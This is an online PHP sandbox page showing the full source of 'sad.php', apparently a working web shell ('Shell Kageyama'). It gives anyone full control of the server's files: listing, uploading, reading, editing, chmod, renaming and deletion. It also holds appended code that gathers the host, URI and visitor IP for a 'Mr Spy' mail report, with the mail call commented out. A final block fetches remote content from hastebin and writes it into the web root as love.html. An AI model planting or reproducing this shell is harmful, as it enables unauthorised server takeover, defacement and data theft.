sad.php - PHP Online

Form of PHP Sandbox

Enter Your PHP code here for testing/debugging in the Online PHP Sandbox. As in the usual PHP files, you can also add HTML, but do not forget to add the tag <?php in the places where the PHP script should be executed.



Your result can be seen below.

Result of php executing





Full code of sad.php.php

  1. <?php
  2. if(get_magic_quotes_gpc()){
  3.     foreach($_POST as $key=>$value){
  4.         $_POST[$key] = stripslashes($value);
  5.     }
  6. }
  7. echo '<!DOCTYPE HTML>
  8. <HTML>
  9. <HEAD>
  10. <link href="" rel="stylesheet" type="text/css">
  11. <title>EZ BosQue</title>
  12. <style>
  13. body{
  14.     font-family: "Racing Sans One", cursive;
  15.     background-color: #e6e6e6;
  16.     text-shadow:0px 0px 1px #757575;
  17. }
  18. #content tr:hover{
  19.     background-color: #636263;
  20.     text-shadow:0px 0px 10px #fff;
  21. }
  22. #content .first{
  23.     background-color: silver;
  24. }
  25. #content .first:hover{
  26.     background-color: silver;
  27.     text-shadow:0px 0px 1px #757575;
  28. }
  29. table{
  30.     border: 1px #000000 dotted;
  31. }
  32. H1{
  33.     font-family: "Rye", cursive;
  34. }
  35. a{
  36.     color: #000;
  37.     text-decoration: none;
  38. }
  39. a:hover{
  40.     color: #fff;
  41.     text-shadow:0px 0px 10px #ffffff;
  42. }
  43. input,select,textarea{
  44.     border: 1px #000000 solid;
  45.     -moz-border-radius: 5px;
  46.     -webkit-border-radius:5px;
  47.     border-radius:5px;
  48. }
  49. </style>
  50. </HEAD>
  51. <BODY>
  52. <H1><center>Shell Kageyama</center></H1>
  53. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  54. <tr><td>Current Path : ';
  55. if(isset($_GET['path'])){
  56.     $path = $_GET['path'];
  57. }else{
  58.     $path = getcwd();
  59. }
  60. $path = str_replace('\\','/',$path);
  61. $paths = explode('/',$path);
  62.  
  63. foreach($paths as $id=>$pat){
  64.     if($pat == '' && $id == 0){
  65.         $a = true;
  66.         echo '<a href="?path=/">/</a>';
  67.         continue;
  68.     }
  69.     if($pat == '') continue;
  70.     echo '<a href="?path=';
  71.     for($i=0;$i<=$id;$i++){
  72.         echo "$paths[$i]";
  73.         if($i != $id) echo "/";
  74.     }
  75.     echo '">'.$pat.'</a>/';
  76. }
  77. echo '</td></tr><tr><td>';
  78. if(isset($_FILES['file'])){
  79.     if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  80.         echo '<font color="green">File Upload Done.</font><br />';
  81.     }else{
  82.         echo '<font color="red">File Upload Error.</font><br />';
  83.     }
  84. }
  85. echo '<b><br>'.php_uname().'<br></b>';
  86. echo '<form enctype="multipart/form-data" method="POST">
  87. Upload File : <input type="file" name="file" />
  88. <input type="submit" value="upload" />
  89. </form>
  90. </td></tr>';
  91. if(isset($_GET['filesrc'])){
  92.     echo "<tr><td>Current File : ";
  93.     echo $_GET['filesrc'];
  94.     echo '</tr></td></table><br />';
  95.     echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  96. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  97.     echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  98.     if($_POST['opt'] == 'chmod'){
  99.         if(isset($_POST['perm'])){
  100.             if(chmod($_POST['path'],$_POST['perm'])){
  101.                 echo '<font color="green">Change Permission Done.</font><br />';
  102.             }else{
  103.                 echo '<font color="red">Change Permission Error.</font><br />';
  104.             }
  105.         }
  106.         echo '<form method="POST">
  107.         Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  108.         <input type="hidden" name="path" value="'.$_POST['path'].'">
  109.         <input type="hidden" name="opt" value="chmod">
  110.         <input type="submit" value="Go" />
  111.         </form>';
  112.     }elseif($_POST['opt'] == 'rename'){
  113.         if(isset($_POST['newname'])){
  114.             if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  115.                 echo '<font color="green">Change Name Done.</font><br />';
  116.             }else{
  117.                 echo '<font color="red">Change Name Error.</font><br />';
  118.             }
  119.             $_POST['name'] = $_POST['newname'];
  120.         }
  121.         echo '<form method="POST">
  122.         New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  123.         <input type="hidden" name="path" value="'.$_POST['path'].'">
  124.         <input type="hidden" name="opt" value="rename">
  125.         <input type="submit" value="Go" />
  126.         </form>';
  127.     }elseif($_POST['opt'] == 'edit'){
  128.         if(isset($_POST['src'])){
  129.             $fp = fopen($_POST['path'],'w');
  130.             if(fwrite($fp,$_POST['src'])){
  131.                 echo '<font color="green">Edit File Done.</font><br />';
  132.             }else{
  133.                 echo '<font color="red">Edit File Error.</font><br />';
  134.             }
  135.             fclose($fp);
  136.         }
  137.         echo '<form method="POST">
  138.         <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  139.         <input type="hidden" name="path" value="'.$_POST['path'].'">
  140.         <input type="hidden" name="opt" value="edit">
  141.         <input type="submit" value="Go" />
  142.         </form>';
  143.     }
  144.     echo '</center>';
  145. }else{
  146.     echo '</table><br /><center>';
  147.     if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  148.         if($_POST['type'] == 'dir'){
  149.             if(rmdir($_POST['path'])){
  150.                 echo '<font color="green">Delete Dir Done.</font><br />';
  151.             }else{
  152.                 echo '<font color="red">Delete Dir Error.</font><br />';
  153.             }
  154.         }elseif($_POST['type'] == 'file'){
  155.             if(unlink($_POST['path'])){
  156.                 echo '<font color="green">Delete File Done.</font><br />';
  157.             }else{
  158.                 echo '<font color="red">Delete File Error.</font><br />';
  159.             }
  160.         }
  161.     }
  162.     echo '</center>';
  163.     $scandir = scandir($path);
  164.     echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  165.     <tr class="first">
  166.         <td><center>Name</center></td>
  167.         <td><center>Size</center></td>
  168.         <td><center>Permissions</center></td>
  169.         <td><center>Options</center></td>
  170.     </tr>';
  171.  
  172.     foreach($scandir as $dir){
  173.         if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  174.         echo "<tr>
  175.         <td><a href=\"?path=$path/$dir\">$dir</a></td>
  176.         <td><center>--</center></td>
  177.         <td><center>";
  178.         if(is_writable("$path/$dir")) echo '<font color="green">';
  179.         elseif(!is_readable("$path/$dir")) echo '<font color="red">';
  180.         echo perms("$path/$dir");
  181.         if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  182.  
  183.         echo "</center></td>
  184.         <td><center><form method=\"POST\" action=\"?option&path=$path\">
  185.         <select name=\"opt\">
  186.         <option value=\"\"></option>
  187.         <option value=\"delete\">Delete</option>
  188.         <option value=\"chmod\">Chmod</option>
  189.         <option value=\"rename\">Rename</option>
  190.         </select>
  191.         <input type=\"hidden\" name=\"type\" value=\"dir\">
  192.         <input type=\"hidden\" name=\"name\" value=\"$dir\">
  193.         <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
  194.         <input type=\"submit\" value=\">\" />
  195.         </form></center></td>
  196.         </tr>";
  197.     }
  198.     echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  199.     foreach($scandir as $file){
  200.         if(!is_file("$path/$file")) continue;
  201.         $size = filesize("$path/$file")/1024;
  202.         $size = round($size,3);
  203.         if($size >= 1024){
  204.             $size = round($size/1024,2).' MB';
  205.         }else{
  206.             $size = $size.' KB';
  207.         }
  208.  
  209.         echo "<tr>
  210.         <td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
  211.         <td><center>".$size."</center></td>
  212.         <td><center>";
  213.         if(is_writable("$path/$file")) echo '<font color="green">';
  214.         elseif(!is_readable("$path/$file")) echo '<font color="red">';
  215.         echo perms("$path/$file");
  216.         if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  217.         echo "</center></td>
  218.         <td><center><form method=\"POST\" action=\"?option&path=$path\">
  219.         <select name=\"opt\">
  220.         <option value=\"\"></option>
  221.         <option value=\"delete\">Delete</option>
  222.         <option value=\"chmod\">Chmod</option>
  223.         <option value=\"rename\">Rename</option>
  224.         <option value=\"edit\">Edit</option>
  225.         </select>
  226.         <input type=\"hidden\" name=\"type\" value=\"file\">
  227.         <input type=\"hidden\" name=\"name\" value=\"$file\">
  228.         <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
  229.         <input type=\"submit\" value=\">\" />
  230.         </form></center></td>
  231.         </tr>";
  232.     }
  233.     echo '</table>
  234.     </div>';
  235. }
  236. echo '<br />Man Man <br />
  237. </BODY>
  238. </HTML>';
  239. function perms($file){
  240.     $perms = fileperms($file);
  241.  
  242. if (($perms & 0xC000) == 0xC000) {
  243.     // Socket
  244.     $info = 's';
  245. } elseif (($perms & 0xA000) == 0xA000) {
  246.     // Symbolic Link
  247.     $info = 'l';
  248. } elseif (($perms & 0x8000) == 0x8000) {
  249.     // Regular
  250.     $info = '-';
  251. } elseif (($perms & 0x6000) == 0x6000) {
  252.     // Block special
  253.     $info = 'b';
  254. } elseif (($perms & 0x4000) == 0x4000) {
  255.     // Directory
  256.     $info = 'd';
  257. } elseif (($perms & 0x2000) == 0x2000) {
  258.     // Character special
  259.     $info = 'c';
  260. } elseif (($perms & 0x1000) == 0x1000) {
  261.     // FIFO pipe
  262.     $info = 'p';
  263. } else {
  264.     // Unknown
  265.     $info = 'u';
  266. }
  267.  
  268. // Owner
  269. $info .= (($perms & 0x0100) ? 'r' : '-');
  270. $info .= (($perms & 0x0080) ? 'w' : '-');
  271. $info .= (($perms & 0x0040) ?
  272.             (($perms & 0x0800) ? 's' : 'x' ) :
  273.             (($perms & 0x0800) ? 'S' : '-'));
  274.  
  275. // Group
  276. $info .= (($perms & 0x0020) ? 'r' : '-');
  277. $info .= (($perms & 0x0010) ? 'w' : '-');
  278. $info .= (($perms & 0x0008) ?
  279.             (($perms & 0x0400) ? 's' : 'x' ) :
  280.             (($perms & 0x0400) ? 'S' : '-'));
  281.  
  282. // World
  283. $info .= (($perms & 0x0004) ? 'r' : '-');
  284. $info .= (($perms & 0x0002) ? 'w' : '-');
  285. $info .= (($perms & 0x0001) ?
  286.             (($perms & 0x0200) ? 't' : 'x' ) :
  287.             (($perms & 0x0200) ? 'T' : '-'));
  288.  
  289.     return $info;
  290. }
  291. ?>
  292. <?php
  293. $ip = getenv("REMOTE_ADDR");
  294. $ra44 = rand(1, 99999);
  295. $subj98 = " Bot V3 Rzlt Mr Spy |$ra44";
  296. $email = "[email protected]";
  297. $from = "From: Result<[email protected]";
  298. $a45 = $_SERVER['REQUEST_URI'];
  299. $b75 = $_SERVER['HTTP_HOST'];
  300. $m22 = $ip . "";
  301. $msg8873 = "$a45 $b75 $m22";
  302. //mail($email, $subj98, $msg8873, $from);
  303. ?>
  304. <?php
  305. $check3=$_SERVER['DOCUMENT_ROOT'] . "/love.html" ;
  306. $text3 = http_get('https://hastebin.com/raw/bikuliciba.xml');
  307. $op3=fopen($check3, 'w');
  308. fwrite($op3,$text3);
  309. fclose($op3);
File Description
  • sad.php
  • PHP Code
  • 04 Feb-2020
  • 9.73 Kb
You can Share it: